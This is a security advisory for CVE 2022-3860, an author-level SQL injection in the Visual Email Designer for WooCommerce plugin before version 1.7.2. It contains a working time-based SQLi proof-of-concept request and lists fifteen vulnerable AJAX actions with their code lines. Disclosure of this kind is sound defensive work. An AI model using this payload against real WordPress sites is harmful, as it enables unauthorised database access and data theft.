Visual Email Designer for WooCommerce < 1.7.2 – Multiple Author+ SQLi | CVE 2022-3860

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as author.

Proof of Concept

action={INSERT HERE NAME OF ACTION}&swcm_social_id=socialblockdrag_XpoeK&template_type=user%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)&template_id=2&theme_id=2&securekey=dd041b294f


Action: swcm_social_function ⇒ SQLi at line: 2725

Action: swcm_video_function ⇒ SQLi at line 2510

Action: swcm_footer_function ⇒ SQL at line 2311

Action: swcm_disclaimer_function ⇒ SQLi at line 2537

Action: swcm_image_function ⇒ SQLi at line 2621

Action: swcm_customer_function ⇒ SQLi at line 2940

Action: swcm_delete_widget = SQLi at line 3018

Action: swcm_hr_function = SQLi at line 2423

Action: swcm_maintext_function ⇒ SQLi at line 2339

Action: swcm_multi_image_function ⇒ SQLi at line 2653

Action: swcm_button_function ⇒ SQLi at line 2482

Action: swcm_title_function ⇒ SQLi at line 2596

Action: swcm_clone_widget ⇒ SQLi at line 3087

Action: swcm_order_function ⇒ SQLi at line 2994

Action: swcm_textarea_function ⇒ SQLi at line 2284